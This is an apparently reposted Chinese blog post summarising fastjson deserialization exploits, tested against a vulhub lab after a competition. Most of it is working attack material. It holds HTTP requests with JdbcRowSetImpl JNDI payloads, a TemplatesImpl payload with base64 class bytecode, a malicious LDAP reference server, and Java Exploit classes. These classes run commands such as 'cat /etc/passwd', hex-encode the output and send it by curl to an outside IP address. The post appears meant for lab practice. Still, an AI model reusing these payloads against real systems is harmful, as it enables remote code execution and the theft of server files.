zoukankan      html  css  js  c++  java
  • fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录。

    环境搭建

    首先用 vulhub 搭建 fastjson 的漏洞环境。

    漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析。

    漏洞利用

    首先我们需要确认是否存在漏洞,可以采取让服务器发请求到我们的公网 vps

    POST / HTTP/1.1
    Host: 192.168.245.128:8080
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 112
    
    {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}
    

    方案一

    没成功

    来源

    https://lazydog.me/post/fastjson-JdbcRowSetImpl-rce-exploit.html#3-L18
    

    方案二

    方案三

    就是 vulhub 自带的一种利用方案。

    首先编译 poc 得到字节码

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class Poc extends AbstractTranslet {
    
        public Poc() throws IOException {
            Runtime.getRuntime().exec("curl http://104.223.70.183:3333/eeee");
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
        @Override
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    
        }
    
        public static void main(String[] args) throws Exception {
            Poc t = new Poc();
        }
    }
    

    然后把 .class 文件做 base64 加密

    import base64
    fin = open(r"Poc.class", "rb")
    fout = open(r"en.txt", "w")
    s = base64.encodestring(fin.read()).replace("
    ", "")
    fout.write(s)
    fin.close()
    fout.close()
    

    修改 json_bytecodes 为 刚刚生成的 base64 文本 :

    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAkY3VybCBodHRwOi8vMTA0LjIyMy43MC4xODM6MzMzMy9lZWVlDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
    

    发送到服务器

    方案四

    首先起一个 ldap 服务

    package person.server;
    
    
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    
    /**
     * LDAP server implementation returning JNDI references
     *
     * @author mbechler
     *
     */
    public class LdapServer {
    
        private static final String LDAP_BASE = "dc=example,dc=com";
    
    
        public static void main ( String[] args ) {
            int port = 1389;
            if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
                System.err.println(LdapServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
                System.exit(-1);
            }
            else if ( args.length > 1 ) {
                port = Integer.parseInt(args[ 1 ]);
            }
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen", //$NON-NLS-1$
                        InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
    
            /**
             *
             */
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
    
            /**
             * {@inheritDoc}
             *
             * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
             */
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
    
            }
    
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Exploit");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
    
        }
    }
    

    参数为

    http://104.223.70.183:8000/#Exploit 389
    

    表示获取 http://104.223.70.183:8000/Exploit.class 的内容作为 payload , 服务监听在 389 端口。

    编译 Exploit.class

    import java.io.BufferedInputStream;
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class Exploit {
        public static String exec(String cmd) throws Exception {
            String sb = "";
            BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String lineStr;
            while ((lineStr = inBr.readLine()) != null)
                sb += lineStr + "
    ";
            inBr.close();
            in.close();
            return sb;
        }
    
        public Exploit() throws Exception {
            String result = "";
            result = exec("whoami");
            String cmd = "curl http://104.223.70.183/" + result;
            throw new Exception(exec(cmd));
        }
    
        public static void main(String[] args) throws Exception {
            String result = "";
            result = exec("whoami");
            String cmd = "curl http://104.223.70.183/" + result;
            throw new Exception(exec(cmd));
        }
    }
    

    然后发送 poc 过去。

    POST / HTTP/1.1
    Host: 192.168.245.128:8080
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 113
    
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}
    

    实际利用

    尝试了很多方法都反弹不了 shell , 这里给一种折中的办法,首先执行命令,然后把结果 16 进制编码,然后用 curl 传出来

    import java.io.BufferedInputStream;
    import java.io.BufferedReader;
    import java.io.ByteArrayOutputStream;
    import java.io.InputStreamReader;
    
    public class Exploit {
    
        //转化字符串为十六进制编码
        public static String toHexString(String s) {
            String str = "";
            for (int i = 0; i < s.length(); i++) {
                int ch = (int) s.charAt(i);
                String s4 = Integer.toHexString(ch);
                str = str + s4;
            }
            return str;
        }
    
        // 转化十六进制编码为字符串
        public static String toStringHex1(String s) {
            byte[] baKeyword = new byte[s.length() / 2];
            for (int i = 0; i < baKeyword.length; i++) {
                try {
                    baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
                            i * 2, i * 2 + 2), 16));
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            try {
                s = new String(baKeyword, "utf-8");// UTF-16le:Not
            } catch (Exception e1) {
                e1.printStackTrace();
            }
            return s;
        }
    
        // 转化十六进制编码为字符串
        public static String toStringHex2(String s) {
            byte[] baKeyword = new byte[s.length() / 2];
            for (int i = 0; i < baKeyword.length; i++) {
                try {
                    baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
                            i * 2, i * 2 + 2), 16));
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            try {
                s = new String(baKeyword, "utf-8");// UTF-16le:Not
            } catch (Exception e1) {
                e1.printStackTrace();
            }
            return s;
        }
    
        public static void main(String[] args) {
            System.out.println(encode("中文"));
            System.out.println(decode(encode("中文")));
        }
    
        /*
         * 16进制数字字符集
         */
        private static String hexString = "0123456789ABCDEF";
    
        /*
         * 将字符串编码成16进制数字,适用于所有字符(包括中文)
         */
        public static String encode(String str) {
            // 根据默认编码获取字节数组
            byte[] bytes = str.getBytes();
            StringBuilder sb = new StringBuilder(bytes.length * 2);
            // 将字节数组中每个字节拆解成2位16进制整数
            for (int i = 0; i < bytes.length; i++) {
                sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));
                sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));
            }
            return sb.toString();
        }
    
        /*
         * 将16进制数字解码成字符串,适用于所有字符(包括中文)
         */
        public static String decode(String bytes) {
            ByteArrayOutputStream baos = new ByteArrayOutputStream(
                    bytes.length() / 2);
            // 将每2位16进制整数组装成一个字节
            for (int i = 0; i < bytes.length(); i += 2)
                baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString
                        .indexOf(bytes.charAt(i + 1))));
            return new String(baos.toByteArray());
        }
    
        public static String exec(String cmd) throws Exception {
            String sb = "";
            BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String lineStr;
            while ((lineStr = inBr.readLine()) != null)
                sb += lineStr + "
    ";
            inBr.close();
            in.close();
            return sb;
        }
    
        public Exploit() throws Exception {
            String result = "";
            result = encode(exec("cat /etc/passwd"));
            String cmd = String.format("curl -d "%s" http://104.223.70.183/ ", result);
            throw new Exception(exec(cmd));
        }
    }
    

    参考

    https://xz.aliyun.com/t/2897#toc-13
    https://github.com/shengqi158/fastjson-remote-code-execute-poc
    
    
  • 相关阅读:
    ASP.NET Core结合Nacos来完成配置管理和服务发现
    一次业务网关用ASP.NET Core 2.1重构的小结
    给HttpClient添加请求头(HttpClientFactory)
    使用Redis实现最近N条数据的决策
    记一次Python与C#的AES加密对接
    按次计费接口的简单实现思路
    .NET Core 3 WPF MVVM框架 Prism系列文章索引
    异步函数async await在wpf都做了什么?
    .NET Core 3 WPF MVVM框架 Prism系列之对话框服务
    .NET Core 3 WPF MVVM框架 Prism系列之导航系统
  • 原文地址:https://www.cnblogs.com/hac425/p/9800288.html
Copyright © 2011-2022 走看看